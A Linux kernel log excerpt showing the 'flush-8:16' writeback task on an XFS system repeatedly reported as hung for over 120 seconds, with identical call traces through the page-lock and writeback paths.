Mar  4 19:41:25 ealxs00169 kernel: [34229398.351024]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351027]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351030]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351033]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351039]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351044]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351047]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351049]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351052]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351093]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351096]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351101]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351104]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351106]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351109]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351113]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351117]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351120]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351123]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351128]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351130]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351133]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351135]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351140]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351142]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:41:25 ealxs00169 kernel: [34229398.351145]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317264] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317367] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317436] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317443]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317447]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317450]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317453] Call Trace:
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317467]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317472]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317474]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317477]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317480]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317483]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317488]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317493]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317496]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317498]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317501]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317596]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317600]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317606]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317609]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317611]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317614]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317620]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317624]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317627]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317630]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317648]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317651]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317654]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317657]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317661]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317664]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:43:25 ealxs00169 kernel: [34229518.317666]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar  4 19:45:25 ealxs00169 kernel: [34229638.275799] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:45:25 ealxs00169 kernel: [34229638.275894] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:45:25 ealxs00169 kernel: [34229638.275957] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:45:25 ealxs00169 kernel: [34229638.275962]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:45:25 ealxs00169 kernel: [34229638.275969]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.275971]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:45:25 ealxs00169 kernel: [34229638.275975] Call Trace:
Mar  4 19:45:25 ealxs00169 kernel: [34229638.275993]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276006]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276008]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276011]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276018]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276021]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276029]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276036]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276039]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276042]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276044]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276084]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276090]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276099]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276102]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276105]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276107]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276117]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276121]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276124]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276127]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276132]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276135]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276137]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276140]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276146]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276148]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:45:25 ealxs00169 kernel: [34229638.276151]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246364] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246439] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246501] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246505]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246509]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246512]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246515] Call Trace:
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246527]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246532]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246534]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246537]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246540]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246543]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246548]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246554]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246556]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246559]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246561]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246622]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246626]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246631]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246633]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246636]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246638]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246644]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246648]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246650]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246653]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246658]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246661]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246663]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246665]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246670]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246672]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:47:25 ealxs00169 kernel: [34229758.246675]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204689] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204764] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204827] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204834]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204838]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204841]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204844] Call Trace:
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204865]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204870]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204872]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204875]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204878]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204880]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204886]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204891]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204893]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204896]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204898]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204956]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204960]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204965]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204967]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204970]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204972]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204976]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204980]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204982]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204985]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204990]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204993]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204995]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.204997]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.205002]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:49:25 ealxs00169 kernel: [34229878.205004]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:49:25 ealxs00169 kernel: [34229878.205007]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176219] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176491] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176614] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176618]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176622]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176625]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176628] Call Trace:
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176640]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176645]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176647]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176649]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176652]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176655]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176661]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176666]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176668]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176671]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176673]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176746]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176750]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176756]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176759]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176762]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176764]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176769]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176773]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176776]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176779]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176784]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176786]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176789]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176791]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176796]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176798]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:51:25 ealxs00169 kernel: [34229998.176801]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139419] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139541] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139635] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139639]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139643]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139646]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139649] Call Trace:
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139665]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139671]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139673]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139676]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139679]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139681]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139687]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139693]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139695]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139698]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139700]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139759]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139762]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139767]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139770]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139773]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139775]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139781]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139785]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139787]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139791]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139796]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139798]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139801]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139803]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139808]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139810]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:53:25 ealxs00169 kernel: [34230118.139813]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
